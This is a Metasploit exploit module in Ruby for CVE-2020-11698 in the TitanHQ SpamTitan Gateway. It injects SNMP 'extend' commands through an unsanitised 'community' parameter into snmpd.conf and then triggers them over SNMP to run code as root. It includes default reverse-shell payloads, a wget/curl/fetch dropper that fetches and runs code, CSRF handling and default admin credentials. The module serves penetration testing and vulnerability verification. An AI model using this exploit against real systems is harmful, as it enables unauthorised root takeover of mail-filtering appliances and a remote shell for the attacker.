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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Remote::SNMPClient
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SpamTitan Unauthenticated RCE',
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        'Description' => %q{
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          TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against
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          unwanted emails and malwares. This module exploits an improper input
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          sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives
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          into the SNMP configuration file and get remote code execution as root. Note
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          that only version 7.03 needs authentication and no authentication is required
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          for versions 7.01, 7.02 and 7.07.
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          First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`
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          command directives (`extend` + command) passed to the `community` parameter.
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          This payload is then added to `snmpd.conf` by the application. Finally, the
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          module triggers the execution of this command by querying the SNMP server for
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          the correct OID.
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          This exploit module has been successfully tested against versions 7.01, 7.02,
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          7.03, and 7.07.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Christophe De La Fuente', # MSF module
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          'Felipe Molina' # original PoC
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        ],
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        'References' => [
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          [ 'EDB', '48856' ],
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          [ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],
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          [ 'CVE', '2020-11698']
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        ],
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        'CmdStagerFlavor' => %i[fetch wget curl],
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        'Payload' => {
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          'DisableNops' => true
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        },
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        'Targets' => [
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          [
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            'Unix In-Memory',
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            {
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
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              'Payload' => {
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                'BadChars' => "\\'#",
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                'Encoder' => 'cmd/perl',
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                'PrependEncoder' => '/bin/tcsh -c \'',
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                'AppendEncoder' => '\'#',
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                'Space' => 470
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              },
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              'Type' => :unix_memory
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            }
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          ],
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          [
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            'FreeBSD Dropper (x64)',
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            {
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              'Platform' => 'bsd',
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              'Arch' => [ARCH_X64],
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              'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
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              'Payload' => {
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                'BadChars' => "'#",
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                'Space' => 450
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              },
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              'Type' => :bsd_dropper
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            }
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          ],
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          [
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            'FreeBSD Dropper (x86)',
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            {
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              'Platform' => 'bsd',
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              'Arch' => [ARCH_X86],
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              'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },
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              'Payload' => {
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                'BadChars' => "'#",
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                'Space' => 450
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              },
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              'Type' => :bsd_dropper
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            }
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          ]
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        ],
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        'DisclosureDate' => '2020-04-17',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(80, true, 'The target HTTP port'),
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        OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),
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        OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),
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        OptString.new(
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          'USERNAME',
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          [
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            false,
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            'Username to authenticate, if required (depending on SpamTitan Gateway version)',
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            'admin'
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          ]
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        ),
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        OptString.new(
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          'PASSWORD',
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          [
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            false,
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            'Password to authenticate, if required (depending on SpamTitan Gateway version)',
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            'hiadmin'
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          ]
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        ),
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        OptString.new(
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          'COMMUNITY',
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          [
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            false,
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            'The SNMP Community String to use (random string by default)',
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            Rex::Text.rand_text_alpha(8)
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          ]
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        ),
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        OptString.new(
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          'ALLOWEDIP',
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          [
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            false,
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            'The IP address that will be allowed to query the injected `extend` '\
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            'command. This IP will be added to the SNMP configuration file on the '\
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            'target. This is tipically this host IP address, but can be different if '\
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            'your are in a NAT\'ed network. If not set, `LHOST` will be used '\
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            'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'
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          ]
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        ),
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      ], self.class
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    )
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  end
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  def check
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    snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
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    vprint_status("Check if #{snmp_x_uri} exists")
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    res = send_request_cgi(
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      'uri' => snmp_x_uri,
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      'method' => 'GET'
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    )
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    if res.nil?
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      return Exploit::CheckCode::Unknown.new(
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        "Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response"
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      )
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    end
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    if res.code == 302
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      vprint_status(
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        'This version of SpamTitan requires authentication. Trying with the '\
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        'provided credentials.'
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      )
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      res = send_request_cgi(
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        'uri' => '/index.php',
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        'method' => 'POST',
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        'vars_post' => {
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          'jaction' => 'none',
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          'language' => 'en_US',
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          'address' => datastore['USERNAME'],
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          'passwd' => datastore['PASSWORD']
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        }
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      )
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      if res.nil?
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        return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')
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      end
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      if res.code == 200 && res.body =~ /Invalid username or password/
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        return Exploit::CheckCode::Safe.new(
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          'Unable to authenticate - Invalid username or password'
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        )
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      end
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      unless res.code == 302
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        return Exploit::CheckCode::Unknown.new(
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          "Unable to authenticate - Unexpected HTTP response code: #{res.code}"
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        )
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      end
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      # For whatever reason, the web application sometimes returns multiple
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      # PHPSESSID cookies and only the last one is valid. So, make sure only
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      # the valid one is part of the cookie_jar.
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      cookies = res.get_cookies.split(' ')
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      php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last
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      cookie_jar.clear
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      cookie_jar.add(php_session)
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      remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }
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      cookie_jar.merge(remaining_cookies)
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      res = send_request_cgi(
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        'uri' => snmp_x_uri,
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        'method' => 'GET'
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      )
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    end
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    unless res.code == 200
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      return Exploit::CheckCode::Safe.new(
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        "Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - "\
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        "unexpected HTTP response code: #{res.code}"
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      )
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    end
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    Exploit::CheckCode::Appears
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  rescue ::Rex::ConnectionError => e
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    vprint_error("Connection error: #{e}")
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    return Exploit::CheckCode::Unknown.new(
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      "Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"
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    )
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  end
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  def exploit
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    if target['Type'] == :unix_memory
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      execute_command(payload.encoded)
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    else
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      execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)
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    end
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  rescue ::Rex::ConnectionError
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    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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  end
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  def inject_payload(community)
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    snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
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    print_status("Send a request to #{snmp_x_uri} and inject the payload")
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    post_params = {
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      'jaction' => 'saveAll',
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      'contact' => 'CONTACT',
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      'name' => 'SpamTitan',
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      'location' => 'LOCATION',
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      'community' => community
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    }
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    # First, grab the CSRF token, if any (depending on the version)
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    res = send_request_cgi(
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      'uri' => '/snmp.php',
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      'method' => 'GET'
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    )
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    if res.code == 200
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      doc = ::Nokogiri::HTML(res.body)
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      csrf_name = doc.xpath('//input[@name=\'CSRFName\']/attribute::value').first&.value
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      csrf_token = doc.xpath('//input[@name=\'CSRFToken\']/attribute::value').first&.value
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      if csrf_name && csrf_token
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        print_status('CSRF token found')
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        post_params['CSRFName'] = csrf_name
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        post_params['CSRFToken'] = csrf_token
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      end
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    end
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    res = send_request_cgi(
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      'uri' => snmp_x_uri,
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      'method' => 'POST',
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      'vars_post' => post_params
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    )
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    if res.nil?
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      fail_with(Failure::Unreachable,
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                "#{peer} - Unable to inject the payload - no response")
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    end
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    unless res.code == 200
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      fail_with(Failure::UnexpectedReply,
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                "#{peer} - Unable to inject the payload - unexpected HTTP response "\
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                "code: #{res.code}")
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    end
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    begin
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      json_res = JSON.parse(res.body)['success']
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    rescue JSON::ParserError
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      json_res = nil
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    end
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    unless json_res
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      fail_with(Failure::UnexpectedReply,
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                "#{peer} - Unable to inject the payload - Unknown error: #{res.body}")
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    end
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  end
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  def trigger_payload(name)
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    print_status('Send an SNMP Get-Request to trigger the payload')
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    # RPORT needs to be specified since the default value is set to the web
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    # service port.
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    connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])
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    begin
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      res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")
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      msg = "SNMP Get-Request response (status=#{res.error_status}): "\
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            "#{res.each_varbind.map(&:value).join('|')}"
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      if res.error_status == :noError
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        vprint_good(msg)
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      else
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        vprint_error(msg)
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      end
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    rescue SNMP::RequestTimeout, IOError
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      # not always expecting a response here, so timeout is likely to happen
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    end
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  end
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  def execute_command(cmd, _opts = {})
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    if target['Type'] == :bsd_dropper
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      # 'tcsh' is the default shell on FreeBSD
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      # Also, make sure it runs in background (&) to avoid blocking
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      cmd = "/bin/tcsh -c '#{[cmd.gsub('\'', '\\\\\'').gsub('\\', '\\\\\\')].shelljoin}&'#"
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    end
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    name = Rex::Text.rand_text_alpha(8)
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    ip = datastore['ALLOWEDIP'] || datastore['LHOST'] || '127.0.0.1'
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    if ip == '127.0.0.1'
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      print_warning(
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        'Neither ALLOWEDIP and LHOST has been set and 127.0.0.1 will be used'\
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        'instead. It will probably fail to trigger the payload.'
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      )
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    end
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    # The injected payload consists of two lines:
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    # 1. the community string and the IP address allowed to query this
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    #    community string
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    # 2. the `extend` keyword, the name token used to trigger the payload
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    #    and the actual command to execute
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    community = "#{datastore['COMMUNITY']}\" #{ip}\nextend #{name} #{cmd}"
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    inject_payload(community)
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    # The previous HTTP POST request made the application restart the SNMPD
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    # service. So, wait a bit to make sure it is running.
330
    sleep(2)
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    trigger_payload(name)
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  end
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end
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